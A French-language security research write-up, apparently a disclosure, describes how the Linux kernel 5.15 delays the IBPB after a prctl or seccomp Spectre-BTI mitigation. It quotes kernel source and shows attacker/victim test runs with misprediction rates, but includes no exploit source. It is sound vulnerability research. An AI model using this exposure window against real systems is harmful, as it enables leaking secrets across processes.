
Analyse technique et preuve de concept démontrant un contournement des mesures d'atténuation de l'espace utilisateur Spectre-BTI du noyau Linux via prctl et seccomp, avec explication au niveau du code et résultats de tests.
José Oliveira (esoj)
Rodrigo Branco (BSDaemon)
Lors des tests du taux de réussite des attaques Spectre-BTI, nous avons détecté un schéma étrange lors de l'utilisation de l'API du noyau comme mitigation[^1]. Nos tests ont révélé que le noyau Linux ne parvient pas à atténuer correctement l'attaque, laissant le processus exposé pendant une courte période après l'appel système.
Des investigations plus approfondies ont montré que le noyau n'émet pas d'IBPB immédiatement pendant l'appel système. La fonction ib_prctl_set[^2] met à jour les Thread Information Flags (TIF) pour la tâche et met à jour le MSR SPEC_CTRL dans la fonction __speculation_ctrl_update [^3], mais l'IBPB n'est émis que lors de la prochaine ordonnancement, lorsque les bits TIF sont vérifiés. Cela laisse la victime vulnérable aux valeurs déjà injectées dans le BTB, avant l'appel système prctl. Le comportement n'est corrigé qu'après une réordonnancement de la tâche. De plus, l'entrée dans le noyau (due à l'appel système lui-même) n'émet pas d'IBPB dans les scénarios par défaut (c'est-à-dire lorsque le noyau se protège via retpoline ou eIBRS).
Exécuter un prctl pour atténuer les attaques spectre-BTI en utilisant :
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
conduit à la fonction ib_prctl_set[^2] sur le noyau 5.15. Lorsque l'option SPEC_DISABLE est utilisée, le bit TIF pour task_set_spec_ib_disable est défini et task_update_spec_tif est appelé :
static int ib_prctl_set(struct task_struct *task, unsigned long ctrl)
[...]
case PR_SPEC_FORCE_DISABLE:
/*
* Indirect branch speculation is always allowed when
* mitigation is force disabled.
*/
if (spectre_v2_user_ibpb == SPECTRE_V2_USER_NONE &&
spectre_v2_user_stibp == SPECTRE_V2_USER_NONE)
return -EPERM;
if (!is_spec_ib_user_controlled())
return 0;
task_set_spec_ib_disable(task);
if (ctrl == PR_SPEC_FORCE_DISABLE)
task_set_spec_ib_force_disable(task);
task_update_spec_tif(task);
break;
task_set_spec_ib_disable appelle set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE); et si la tâche cible est la tâche courante, elle appelle speculation_ctrl_update_current();
static void task_update_spec_tif(struct task_struct *tsk)
{
/* Force the update of the real TIF bits */
set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);
/*
* Immediately update the speculation control MSRs for the current
* task, but for a non-current task delay setting the CPU
* mitigation until it is scheduled next.
*
* This can only happen for SECCOMP mitigation. For PRCTL it's
* always the current task.
*/
if (tsk == current)
speculation_ctrl_update_current();
}
speculation_ctrl_update_current après le wrapper speculation_ctrl_update exécute __speculation_ctrl_update avec tifp = ~tifp, ici la mise à jour du wrmsr pour définir STIBP est exécutée mais aucun IBPB n'est émis :
static __always_inline void __speculation_ctrl_update(unsigned long tifp,
unsigned long tifn)
{
unsigned long tif_diff = tifp ^ tifn;
u64 msr = x86_spec_ctrl_base;
bool updmsr = false;
lockdep_assert_irqs_disabled();
/* Handle change of TIF_SSBD depending on the mitigation method. */
if (static_cpu_has(X86_FEATURE_VIRT_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_ssb_virt_state(tifn);
} else if (static_cpu_has(X86_FEATURE_LS_CFG_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_core_ssb_state(tifn);
} else if (static_cpu_has(X86_FEATURE_SPEC_CTRL_SSBD) ||
static_cpu_has(X86_FEATURE_AMD_SSBD)) {
updmsr |= !!(tif_diff & _TIF_SSBD);
msr |= ssbd_tif_to_spec_ctrl(tifn);
}
/* Only evaluate TIF_SPEC_IB if conditional STIBP is enabled. */
if (IS_ENABLED(CONFIG_SMP) &&
static_branch_unlikely(&switch_to_cond_stibp)) {
updmsr |= !!(tif_diff & _TIF_SPEC_IB);
msr |= stibp_tif_to_spec_ctrl(tifn);
}
if (updmsr)
wrmsrl(MSR_IA32_SPEC_CTRL, msr);
}
L'appel système seccomp utilise également ib_prctl_set[^2] comme mitigation, à l'intérieur de arch_seccomp_spec_mitigate[^4], donc le même résultat est attendu avec seccomp.
Bien que l'analyse du code nous rende certains que la fenêtre d'exploitation existe, il n'était pas clair si elle était suffisamment grande pour que la victime charge des secrets et que l'attaquant les divulgue (car les secrets ne devraient pas se trouver dans l'espace d'adressage de la victime avant que l'appel prctl ne soit émis). Les tests ont été exécutés sur une machine physique avec support des mitigations matérielles, avec Ubuntu 22.04.1 LTS installé :
Kernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
* Hardware support (CPU microcode) for mitigation techniques
* Indirect Branch Restricted Speculation (IBRS)
* SPEC_CTRL MSR is available: YES
* CPU indicates IBRS capability: YES (SPEC_CTRL feature bit)
* Indirect Branch Prediction Barrier (IBPB)
* CPU indicates IBPB capability: YES (SPEC_CTRL feature bit)
* Single Thread Indirect Branch Predictors (STIBP)
* SPEC_CTRL MSR is available: YES
* CPU indicates STIBP capability: YES (Intel STIBP feature bit)
* Speculative Store Bypass Disable (SSBD)
Le code de test consiste en deux processus s'exécutant sur le même cœur logique. L'attaquant empoisonne constamment le BTB avec l'adresse d'un gadget spectre présent dans un processus victime. La victime mesure le taux de mauvaises prédictions en vérifiant si une variable de test a été accédée par la fonction gadget spectre. Cela renvoie généralement le résultat suivant :
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./attacker 0x55555554123 0x55555555345 0 &
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 941/1000
Rate: 1000/1000
Rate: 999/1000
Rate: 1000/1000
Rate: 1000/1000
Rate: 997/1000
Rate: 994/1000
Rate: 996/1000
Rate: 998/1000
Rate: 993/1000
Total misspredict rate: 9918/10000 (99.18 %)
Ensuite, PRCTL est utilisé pour atténuer l'attaque. La mitigation peut être activée en ajoutant prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); au début du programme. Cela devrait atténuer l'attaque Spectre-BTI :
PRCTL GET value 0x9
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Total misspredict rate: 0/10000 (0.00 %)
Cependant, certains tests ont montré un résultat différent :
Rate: 50510/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 50510/1000000 (5.05 %)
Et la modification de la valeur 'nice' (priorité) semble affecter le taux de mauvaises prédictions :
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 99994/100000
Rate: 7716/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 107710/1000000 (10.77 %)
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n 19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 16715/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 16715/1000000 (1.67 %)